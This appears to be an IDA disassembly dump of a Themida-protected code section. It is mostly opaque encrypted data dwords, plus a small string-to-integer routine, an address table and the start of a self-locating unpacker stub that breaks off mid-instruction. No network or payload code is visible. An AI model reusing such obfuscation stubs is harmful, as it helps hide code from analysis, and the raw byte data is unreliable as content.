9750006h dd 3ADBD83h, 74000615h, 8B53501Ah, 85858BC0h, 89061513h dd 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h, 1503ADBDh dd 18740006h, 858B5350h, 6151385h, 13858589h, 9D8D0615h dd 617A78Dh, 585BD3FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7BC35242h, 62834242h, 5263DFADh, 8A0F60h dd 29000000h, 1518E595h, 315A6106h, 150B7D8Dh, 6AC08B06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0B3F1C356h, 661E254Eh, 4BA1E281h, 83D8CB80h dd 15111DBDh, 850F0006h, 1Bh, 83FC21B3h, 152975BDh, 840F0006h dd 0Bh, 4CE58060h, 7ADBD89h, 83610615h, 15111DBDh, 840F0006h dd 49h, 9E9h, 6677E200h, 0EB4F0DD8h, 0BD837996h, 6150C79h dd 2E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 982EC356h, 0D7838DADh dd 66877BDAh, 8B33ADBBh, 1519A19Dh, 1DBD8306h, 61511h dd 30840Fh, 83F80000h, 150C79BDh, 840F0006h, 22h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 88C35545h, 0A0E556C4h dd 0BD83D37Fh, 615111Dh, 46840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8E90C353h, 49CB8166h, 75B58904h, 83061528h, 151655BDh dd 840F0006h, 11h, 0CE9h, 4B4EE100h, 52F03BA5h, 12C73593h dd 1DBD83C8h, 61511h, 56840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4FCB1C3h dd 0F5605A5Eh, 2810Fh, 0D18B0000h, 0D19D8B61h, 83061533h dd 15089DBDh, 840F0006h, 18h, 7E9h, 0E6505D00h, 87ED7281h dd 237595FFh, 9D890615h, 6152869h, 9D23C08Bh, 615226Dh dd 2D01BD89h, 0BD830615h, 61508F5h, 83097500h, 1503ADBDh dd 1A740006h, 0C08B5350h, 2A1858Bh, 85890615h, 61502A1h dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50187400h dd 0A1858B53h, 89061502h, 1502A185h, 0A69D8D06h, 0FF0617A7h dd 6A585BD3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 9F6DC351h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF6D5582h, 0BBE40734h dd 6810F52h, 31000000h, 1528B195h, 0EE95B06h, 92000000h dd 948E189h, 0C9E9A78Dh, 0BD924586h, 6AC08B55h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0B3ADC350h, 78F6BBAAh, 0BD832635h, 615111Dh, 7D840F00h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 12B4C350h, 81B91087h, 431F5343h dd 6E960h, 0E0420000h, 0E1436F5Ah, 0EDBD8361h, 206150Bh dd 35840Fh, 0BD830000h, 6150045h, 28850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 813AC355h, 9D8B597Eh, 6152215h, 60FDC780h dd 7AAB61BBh, 0A1F6803Ah, 4F0F8D8Bh, 95890615h, 61520B1h dd 0FE5BDA80h, 0A8F38001h, 26135068h, 81D98BE6h, 0ED302404h dd 6A19D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 721E65C3h, 11E914h, 22860000h, 0FF28EC2Bh dd 9E8770B8h, 16E28D32h, 6A167D5Ch, 9E8FFh, 6BF10000h dd 7D04F832h, 8B72300Eh, 1528A99Dh, 95FF5A06h, 615248Dh dd 2F359D8Bh, 6A610615h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0BAB8C351h, 7BBC67F2h dd 958BD911h, 6151379h, 5E1BD8Dh, 6A0615h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FC0AAC3h dd 681h, 3D958B00h, 8B061507h, 81661C4Fh, 6A075ACBh, 50006A01h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0FA5A1D27h, 0F3BA9B74h, 0D7E280A6h, 10E96050h, 46000000h dd 0AAF878F8h, 22369F09h, 6A323DFBh, 8B645503h, 0C8961C8h dd 0A9852924h, 0F061525h, 858DDBBFh, 6183736h, 0D0FF0CB2h dd 8B1DF780h, 6AF8204Fh, 99958B03h, 5006152Ah, 52505250h dd 310F5A53h, 8D9D15BBh, 0F585A67h, 1ABB6631h, 89585AE4h dd 6A240Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 524B0DC3h, 13A7176Ch, 0D08B89EAh, 0BB99D8Bh dd 858D0615h, 6183736h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 1DC35545h, 60D0FFF8h, 188C0Fh, 13E90000h dd 30000000h, 0F1EED5F2h, 0EF18B2BDh, 7499A94Eh, 72635F0h dd 8D61C276h, 1505E1BDh, 659D2B06h, 8B06152Ch, 0BAB31C4Fh dd 50F5016Ah, 0E85F5660h, 10h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh dd 6A4B655Ah, 6159C88Bh, 80240C89h, 858D56EEh, 6183736h dd 5880Fh, 81660000h, 0FF10B6EBh, 0DAB70FD0h, 66204F8Bh dd 9B72CA81h, 8B66036Ah, 0E5BB50D9h, 89123FC5h, 9589240Ch dd 6151299h, 3736858Dh, 0D78B0618h, 56C38166h, 50D0FFCDh dd 33E99D8Bh, 815B0615h, 4320B2E3h, 0F8D8B53h, 8B06154Fh dd 15192995h, 0F01FE06h, 18Fh, 858BF500h, 6154F0Fh, 6890Fh dd 9D8B0000h, 6150885h, 1335958Bh, 0FE0615h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C1C35545h, 0E53579C4h dd 0D023CB8Dh, 9D8B016Ah, 6150E11h, 0A2AAF168h, 18F8BBDEh dd 481394Ah, 5CF50E24h, 3D9D8921h, 8D061517h, 18374085h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 7D20953Fh, 377BAA32h, 958B11A0h, 6152399h dd 8D89D0FFh dd 6152A2Dh, 2975BD83h, 0F000615h, 10684h, 85895000h, 6152A99h dd 0B5BD835Bh, 106152Dh, 0F1850Fh, 0BB660000h, 8D8DF682h dd 618374Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 82C35040h, 8AC9D663h, 0C28166D3h, 36A4216h, 850Fh dd 16A0000h, 2395958Bh, 0D1FF0615h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 3DC35242h, 8459307Bh, 0E381DDBEh dd 4DE057A4h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 17E6FEC3h, 5890Fh, 99BB0000h, 6A22D915h dd 53006A01h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 71BB8162h, 0FF3C9441h, 138B0FD1h, 0F000000h dd 0D82h, 7E800h, 0C0350000h, 0E672F01Bh, 3EE85AD3h, 0E9FA466Dh dd 13h, 61B5DB1Dh, 10D4BCF2h, 2281360Ch, 0A329DCCh, 6A4B55B8h dd 0D6B70F20h, 0BF0FFF6Ah, 8D95FFD1h, 66061524h, 0B80E56BBh dd 0 dd 9EC38166h, 0FC00B41h, 4184h, 83B2B300h, 152679BDh, 840F0006h dd 32h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh dd 0C1C35646h, 0DA160879h, 0F90CAF4h, 95FFDFB7h, 6153401h dd 355DF281h, 858B26CAh, 6152849h, 0D78B6656h, 0C65Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9AC35747h dd 8589085Dh, 6151651h, 0A1BA6658h, 0D98C6697h, 6810Fh dd 0BD090000h, 61517A9h, 0EE98D381h, 0C1F645BAh, 45840F04h dd 8B000000h, 15019D9Dh, 3AE906h, 0EA800000h, 8E967h, 0EDB60000h dd 47017783h, 0B58B3530h, 6150B8Dh, 2C659D09h, 0C6810615h dd 1180h, 0D359D03h, 958B0615h, 6152829h, 6C7h, 95890000h dd 6152E45h, 51006A5Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 98D404E1h, 0E695FDA3h, 5156C8BCh dd 18B9958Bh, 5B5B0615h, 0F00F883h, 0AA784h, 8166F500h dd 8354A8E3h, 850F01F8h, 1C4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0C4C35040h, 0B8FC8Ah, 66000000h dd 9589D78Bh, 61515F5h, 840FC00Bh, 0FAh, 2639B531h, 0F8830615h dd 1C840F01h, 8B000001h, 1508D595h, 0CA816606h, 0F8832995h dd 78840F03h, 8B000000h, 152DF595h, 6AC02B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F560C351h, 6890Fh, 0B5890000h, 6152A65h, 89E0BD8Dh dd 8052005Bh, 0FF5A9CD7h, 52006AE7h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 95E6DCBFh dd 0A5E59D91h, 0F38166D5h, 0CE990A7h, 30000000h, 2A5D9C45h dd 3263FE6Dh, 0B8DC4400h, 1, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 7DC35141h, 46FF1657h, 0E1D3304h dd 899D8B90h, 0B2061527h, 0E0BD8DC3h, 6A005B89h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 29F5C355h, 1519219Dh, 66E7FF06h, 0BD8DDA8Bh, 615459Bh dd 0AE9h, 0F78F3A00h, 940E593Ah, 0E9C7E3B3h, 25Dh, 12E9h dd 2A390A00h, 63E52BE1h, 3686E823h, 117C2D4Bh, 0C7E00554h dd 154F6A85h, 506h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 93998E26h, 995C92AAh dd 619D89E1h, 0B8061506h, 5, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0BBC35242h, 5267489Fh, 873E930h dd 0F2810000h, 38353A3Ah, 0F02F883h, 0C185h, 24EF8000h dd 0B8h, 0D0B70F00h, 840FC00Bh, 90h, 148D0Fh, 8E80000h dd 0EB000000h, 0C963EB2Ah, 89D9E148h, 1528559Dh, 0F8835A06h dd 5C840F01h, 8BFFFFFFh, 151D1195h, 3F88306h, 0FEBD840Fh dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 96D52AC3h, 0D87BE5B3h, 0B888h, 9ABA0000h dd 8D565D5Ch, 5B89E0BDh, 0D68B6600h, 14E8h, 29027100h dd 330D7494h, 5BB98AB4h, 9284FDE0h, 0A99914A6h, 5DBD89A2h dd 5B061517h, 0B589E7FFh, 6152395h, 4793BD8Dh, 6E90615h dd 0F0000000h, 0D87ACF98h, 11FE9F1h, 81560000h, 57078BC2h dd 0F8835B24h, 54850F03h, 0F000000h, 0BD8DD3BFh, 6154927h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 94C35141h dd 343E0AB0h, 0D08B6684h, 0DCE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 117C2D4Bh dd 83E00554h, 850F05F8h, 7, 36E9D08Bh, 83000007h, 850F06F8h dd 46h, 0BD8DD88Bh, 6154B1Fh, 0DE960h, 50060000h, 89FBDE49h dd 0E47CCAB8h, 61E868DEh, 80E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2DC519EAh dd 65D5B306h, 0F883F1BCh, 25850F07h, 8A000000h, 95BD8DF1h dd 0F06151Eh, 68Eh, 39950300h, 0E9061505h, 0D0h, 7E9h dd 0A774A600h, 4E783EE6h, 0F0AF883h, 2485h, 0B890F00h dd 0E9000000h, 6, 0C2842DE3h, 0BD8D4EF3h, 6154D17h, 262D9501h dd 2E90615h, 0B7000000h, 0DE95749h, 0A8000000h, 0C1B9D08Dh dd 71F070EBh, 3C9D7EDDh, 767ED4B9h, 0CD8D8932h, 8306152Fh dd 840F003Fh, 5Ch, 81D7B70Fh, 5FC03EDAh, 660F301Fh, 0D16EFABAh dd 0F5958BC9h, 8B06152Fh, 1522F19Dh, 0D78B4706h, 3830Fh dd 0EE800000h, 0FFC9E975h, 6AFFFFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B65D0AC3h dd 0AE9D6h, 38220000h, 4962CCBh, 0D33FCF03h, 0EE95Fh, 193E0000h dd 1D8476F1h, 4953D569h, 0AB18C8Fh, 4F13BD89h, 9D8B0615h dd 6152569h, 9F99503h, 8D8D0615h, 6151395h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0AAC35646h, 0B9D33E63h dd 72C4E4F2h, 266DBD29h, 0B5FF0615h, 6152669h, 8159D03h dd 858D0615h, 617A3E1h, 16BD8D50h, 8D061556h, 156F4D8Dh dd 1ABCB806h, 0CF2B5483h, 0C8D00730h, 0F8754947h, 6ED1B58Dh dd 8D8D0615h, 6156F65h, 0A4F3CF2Bh, 0B8C933h, 0B000000h dd 834674C0h, 152679BDh, 6740006h, 340195FFh, 0B58B0615h dd 6154F13h, 0A3E1858Dh, 0D0FF0617h, 4370858Dh, 0D0FF0615h dd 7A985C7h, 10615h, 0A58B0000h, 6152D85h, 2AA5B58Bh, 0AD8B0615h dd 61527E5h, 0CC2C033h, 43F3BB00h, 0B70F39C5h, 69B589D7h dd 83061517h, 1511C1BDh, 840F0006h, 0Eh, 95FFE5B2h, 6152B11h dd 27419589h, 0BD830615h, 6151E01h, 0ED850F00h, 0E9000001h dd 7, 10B764E5h, 315C9E49h, 150531BDh, 0B5BD8306h, 106152Dh dd 1CE850Fh, 0C7800000h, 9BD83D1h, 61516h, 1BE840Fh, 0BE90000h dd 43000000h, 6892DE0Eh, 1C77B88Ch, 0BD837EE4h, 6154F66h dd 0A1840F00h, 8B000001h, 15097995h, 0E1858D06h, 6A0617A3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 72B3C351h, 0B59BC557h, 0BC040921h, 4B3A4CBBh dd 3FD68055h, 4F13B58Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 59ED84C3h, 5D5DA15Fh dd 2D81958Bh, 0D0FF0615h, 0C6DEB70Fh, 1509C585h, 830F5406h dd 6, 0E7F6DB81h, 0CE680C7Ah, 66D4085Eh, 481D88Bh, 46602624h dd 52006A2Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 839E26FAh, 0F683F5Eh, 0B5FFD6B7h, 6151685h dd 8DD1BF0Fh, 153B3885h, 10E906h, 0D6990000h, 0E36FFA77h dd 0F4C9B7E3h, 0E469EA73h, 0D0FF1CF5h, 44CB8166h, 89006A69h dd 151DDDBDh, 6AFF6A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0CC38C356h, 0E4BF913h dd 0FFD8BF0Fh, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 11E9609Fh, 8E000000h dd 505B4917h, 0B940634h, 0C839D832h, 4F137A00h dd 61F6BF0Fh, 28ADB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0DE4CC3h, 0AB2746B0h dd 1D08B41h, 1527998Dh, 6995FF06h, 6A061526h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0C321C350h, 852995E0h, 615193Dh, 4F13B58Bh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 3994BCC3h, 8F4104Ch, 873FD5BAh, 8529C377h, 6151E0Dh dd 2849B58Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0B3F6B8C3h, 8E6F2FC5h, 601BD380h dd 0BE861h, 523A0000h, 0D361E4E5h, 4CE4FA6Ah, 3C34BBCDh dd 0B5A31A8h, 3D840FF6h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2F70C351h dd 0E18529A0h, 29061516h, 15255D85h, 6C606h, 5F526050h dd 0BB19BA66h, 95895B61h, 6152469h, 4F1B8589h, 0EE90615h dd 3E000000h, 2F34F7B9h, 0DC05C8A4h, 872927A4h, 0F88331h dd 28A840Fh, 8B560000h, 150AE995h, 0B85B06h, 8B000000h dd 150E2195h, 0D0BF0F06h, 0F00F883h, 0C284h, 0E5950900h dd 83061518h, 850F02F8h, 83h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0C9C35040h, 0D73758B9h, 0B3217F3Eh dd 86AC381h, 858D0F0Dh, 6154596h, 66EABA66h, 9292Dh, 6D9D8B00h dd 90061510h, 5050D38Bh, 0F98A5252h, 5A310F5Bh, 6A9058h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 4BFA1BC3h, 9AFB91h, 2AF59529h, 95230615h, 6152875h dd 0B18589C3h, 0B806150Ah, 0 dd 14E8h, 99B16D00h, 744976ECh, 0A4D634A0h, 60C8081h, 0CB64393Ch dd 65950998h, 5A061507h, 1AFE9h, 0B99D2B00h, 0B806150Bh dd 1, 0CE9h, 23FD3900h, 1A610D62h, 937A801Fh, 9BBD8D9Dh dd 6A061545h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 253AC355h, 0C7553C42h, 0AB34E372h dd 0E9D2BF0Fh, 77h, 2A559D8Bh, 7E90615h, 22000000h, 0A5ED581Fh dd 0F883FF6Dh, 1E850F02h, 23000000h, 152AE19Dh, 93BD8D06h dd 0FC061547h, 4AE9h, 6800F00h, 0B000000h, 1533A59Dh, 3F88306h dd 1B850Fh, 9D890000h, 6152FC1h, 4927BD8Dh, 9D290615h dd 61503D5h, 1EE9h, 6CBA6600h, 5F8837Eh, 11850Fh, 958B0000h dd 6153431h, 88E9h, 999D8B00h, 57061517h, 2E598D89h, 0D08B0615h dd 767ED4B9h, 53006A32h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0FFE2A54h, 689h, 4D850900h, 83061517h dd 840F003Fh, 41h, 0E870Fh, 9E90000h, 72000000h, 4F965932h dd 871517FAh, 9D8B0F30h, 6152EB9h, 0BD29C9D1h, 6152619h dd 0D8DBD89h, 0F470615h, 68Ah, 0F9B58900h, 0E906150Fh dd 0FFFFFFBBh, 877446BBh, 5F8830Bh, 5E850Fh, 0B70F0000h dd 0D98C66DBh, 0F63DC280h, 850F04C1h, 34h, 0B8DFB70Fh dd 0 aVfTuS9 db 'Vfº’î[é9',0 db 2 dup(0), 6Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 660CC355h, 0C7C8EB81h, 0E31858Bh, 0BA660615h dd 0E0FFBEE0h, 5FB46053h, 0D659D8Bh, 5B610615h, 2669BD83h dd 0F000615h, 0EE85h, 3BCA8000h, 0D18B5050h, 2404895Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 43C35545h dd 0E2EDAF7Ch, 0B7B45EB6h, 1775958Bh, 85C60615h, 61509C5h dd 4E845h, 69690000h, 96B28E72h, 8BD98B50h, 0F042444h dd 28Ch, 8BFCB600h, 0CE800h, 3EC80000h, 962F76EAh, 3B5BEAD5h dd 12E99E9Eh, 97000000h, 0DE3CDD0Fh, 1E904D70h, 5D7D4D37h dd 602DA7C1h, 44895B8Ch, 0F560424h, 48Ah, 0C9BA6600h, 0B585A31h dd 1516F195h, 85B5FF06h, 0E8061516h, 12h, 3F79DE17h, 0B1A86CDDh dd 0BE761B4Eh, 8DB4ADFh, 0C680DC58h, 858D5A83h, 6153B38h dd 8BD0FFF8h, 698589DEh, 6A061526h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7153C357h dd 0B1958B58h, 83061524h, 154F6ABDh, 840F0006h, 22h, 0FF90C380h dd 1528ADB5h, 0D18B6606h, 266995FFh, 85090615h, 6152479h dd 5E9h, 84E8A100h, 0F8839B9Fh, 3D850F00h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 79FC351h, 0F945A729h, 0D98B6685h, 301B589h, 0BD830615h dd 6150A01h, 6D840F00h, 0F000000h, 287h, 8B20B700h, 151C9D9Dh dd 1B5FF06h, 0E806150Ah, 14h, 0DA2375ACh, 685E42BFh, 68EFC268h dd 2CC19C3h, 692F6F36h, 5E8h, 3428AB00h, 5BF8F8DEh, 1B85Ah dd 958B0000h, 6151095h, 29AE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D2307A7h dd 61509C9h, 28ADB5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 51FDC7C3h, 749A87ACh dd 0CE9h, 0E6E93A00h, 0C566DA58h, 41C9764h, 0CE821h, 32270000h dd 0DF1F7FFCh, 79D5EFE5h, 87BA4744h, 5B3EEA15h, 28ADB5FFh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 20841BC3h, 0B5FF8A92h, 6152669h, 0F4E9B8B6h dd 0E8000001h, 6, 0AFAAEEECh, 9D897B2Bh, 6151691h, 0E0DA805Ah dd 51006A5Fh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 79E1E874h, 6D5BD83h, 0F000615h, 0E385h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 9FB5EE7h, 40C38166h, 12E932h, 0B300000h dd 672A0FEEh, 20841BE4h, 0CD578A92h, 5DF18ECEh, 9C585C6h dd 6A4D0615h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0CDDBC355h, 1621D88Ah, 858921D1h dd 61526D9h, 0FACA8166h, 4E833h, 76A80000h, 6650A435h dd 448BD68Bh, 8B0424h, 8F0F5250h, 3, 0FD88B66h, 8B0F5331h dd 0 dd 89585A5Ah, 66042444h, 8B58D18Bh, 150C9995h, 0F59D8906h dd 0FF06152Ah, 150789B5h, 858DFC06h, 6153B38h, 68C0Fh dd 958B0000h, 6152625h, 8B60D0FFh, 15156D95h, 85896106h dd 61506D5h, 68A0Fh, 9D290000h, 6152DB1h, 0B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 3DCB67D7h, 0F537B2C2h, 4F13BD89h, 0E6800615h, 0FC00BFCh dd 2884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 94561504h, 71E99Bh, 0B70F0000h, 69B5FFD2h dd 29061526h, 150701BDh, 0E1858D06h, 6A0617A3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0AE0BC355h, 97202FF0h, 503EEF48h, 13E8h, 92BFAA00h dd 2291E05Fh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh, 6E95250h dd 2F000000h, 0A60B88FBh, 8B310F73h, 5B585ADEh, 8B240489h dd 15340595h, 50DE8B06h, 16BD8D56h, 8D061556h, 1579A58Dh dd 23BCB806h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh dd 6150A01h, 8B067400h, 151A518Dh, 0B8C93306h, 0 dd 840FC00Bh, 0A8h, 2679BD83h, 74000615h, 195FF06h, 0B8061534h dd 0 dd 975C00Bh, 4F1BBD83h, 74010615h, 1BBD8309h, 206154Fh dd 0B58B0E75h, 6154F13h, 0A3E1858Dh, 0D0FF0617h, 11C1BD83h dd 74000615h, 1195FF06h, 8D06152Bh, 15437085h, 83D0FF06h dd 150BEDBDh, 2F750206h, 2D85A58Bh, 858B0615h, 6150A01h dd 0C7240489h, 1507A985h, 106h, 17B58B00h, 8B06154Fh, 1527E5ADh dd 1B806h, 0CC20000h, 0C700EB00h, 1507A985h, 106h, 85A58B00h dd 8B06152Dh, 152AA5B5h, 0E5AD8B06h, 33061527h, 0CC2C0h dd 11C1BD83h, 74000615h, 11BD830Fh, 6152Bh, 95FF0674h dd 6152B11h, 4F13B58Bh, 6AC30615h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0E78EC351h dd 7A322D39h, 0E9DF8B2Dh, 13h, 949B5E07h, 0D5259F8Eh, 7492F2C7h dd 0CA1A6A73h, 0BB8928C6h, 620CD2DEh, 6AD22Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0D4B3D7C3h, 2AF1A579h, 0DF8B2469h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_58153C ; --------------------------------------------------------------------------- loc_58153A: ; CODE XREF: Themida_:0058153Fj inc eax inc edi loc_58153C: ; CODE XREF: Themida_:00581538j cmp byte ptr [edi], 0 jnz short loc_58153A xor ecx, ecx mov edi, [ebp+8] jmp short loc_58156B ; --------------------------------------------------------------------------- loc_581548: ; CODE XREF: Themida_:0058156Dj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_581560 ; --------------------------------------------------------------------------- loc_58155D: ; CODE XREF: Themida_:00581563j mul ebx dec esi loc_581560: ; CODE XREF: Themida_:0058155Bj cmp esi, 0 ja short loc_58155D pop ebx add ecx, eax pop eax inc edi dec eax loc_58156B: ; CODE XREF: Themida_:00581546j or eax, eax jnz short loc_581548 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 60h, 51h, 0Fh dd 8B59C9B7h, 15030195h, 29566106h, 15227995h, 50605B06h dd 59DFBF0Fh, 2835BD0Bh, 8B610615h, 1D5CE9C1h, 1B0002h dd 0FEF40285h, 230012h, 70320285h, 5Fh, 8B290000h, 8B29005Fh dd 206005Fh, 20000h, 10000h, 50000h, 9A2F0000h, 0FA42h dd 4 dup(0) dd 0BADB0000h, 0C1530058h, 0D22F0058h, 6F180058h, 9CC90058h dd 75C80058h, 7C9F0058h, 0DF520058h, 42200058h, 4C780058h dd 0DBC30058h, 0C6D00058h, 5B0D0058h, 3F0D0058h, 0C0A00058h dd 6BC70058h, 0A18D0058h, 77A20058h, 1F1D0058h, 71EC0058h dd 24C60058h, 85D20058h, 49D70058h, 1C040058h, 7FCD0058h dd 29180058h, 307F0058h, 31110058h, 0D8240058h, 0AEBF0058h dd 84A60058h, 0A4340058h, 0DCEF0058h, 0D2030058h, 9B8E0058h dd 0C64F0058h, 0A91B0058h, 0AFF00058h, 0C78B0058h, 0C0460058h dd 35E80058h, 63C30058h, 819B0058h, 0D8E00058h, 5C9D0058h dd 798F0058h, 0C8520058h, 0DBCC0058h, 0BB3F0058h, 56FB0058h dd 82C40058h, 79DB0058h, 0C44F0058h, 52880058h, 84350058h dd 9BEB0058h, 0B7DC0058h, 0C9250058h, 0C8A60058h, 6FCE0058h dd 84190058h, 337F0058h, 94910058h, 2D480058h, 238E0058h dd 6B020058h, 38E20058h, 2BC20058h, 0AE230058h, 0BEE50058h dd 0C7210058h, 47CE0058h, 0B24B0058h, 0DAB40058h, 5D050058h dd 99BC0058h, 8BCF0058h, 0A2800058h, 8B150058h, 0B5530058h dd 69C30058h, 3C820058h, 4D690058h, 39600058h, 74190058h dd 45290058h, 9E160058h, 0AF370058h, 21D20058h, 881B0058h dd 0D4990058h, 650E0058h, 7E030058h, 0B7540058h, 6C350058h dd 1C4A0058h, 0AEEE0058h, 3F480058h, 6CDA0058h, 93E70058h dd 31E60058h, 0D69D0058h, 0B6400058h, 911A0058h, 0DB630058h dd 7BB60058h, 0D8610058h, 2C440058h, 0D93E0058h, 44230058h dd 32510058h, 5FAE0058h, 0A37C0058h, 0DEE60058h, 0D6850058h dd 79E70058h, 56B80058h, 887E0058h, 4A2E0058h, 1AD30058h dd 93DA0058h, 0BDA30058h, 48300058h, 367F0058h, 954B0058h dd 0B4FC0058h, 2A2F0058h, 46250058h, 530E0058h, 0C4D60058h dd 0B7CE0058h, 570C0058h, 6BFB0058h, 68D80058h, 61050058h dd 0DEBC0058h, 93FD0058h, 2E6C0058h, 0A5D50058h, 9FF60058h dd 94C60058h, 45580058h, 4A7A0058h, 23280058h, 64470058h dd 51ED0058h, 0C3DE0058h, 651F0058h, 6A8B0058h, 7DB80058h dd 0C5EF0058h, 0D0950058h, 6B970058h, 99630058h, 3C060058h dd 37A50058h, 84740058h, 34530058h, 78D70058h, 0A7C80058h dd 66780058h, 3DD00058h, 5D1F0058h, 0BF010058h, 9BA60058h dd 50350058h, 6AF80058h db 58h, 0 ; --------------------------------------------------------------------------- loc_581882: ; CODE XREF: Themida_:005A3CB6j ; Themida_:005AE00Aj ... pusha pushf cld call $+5 pop edi sub edi, 6157E5Bh mov eax, edi add 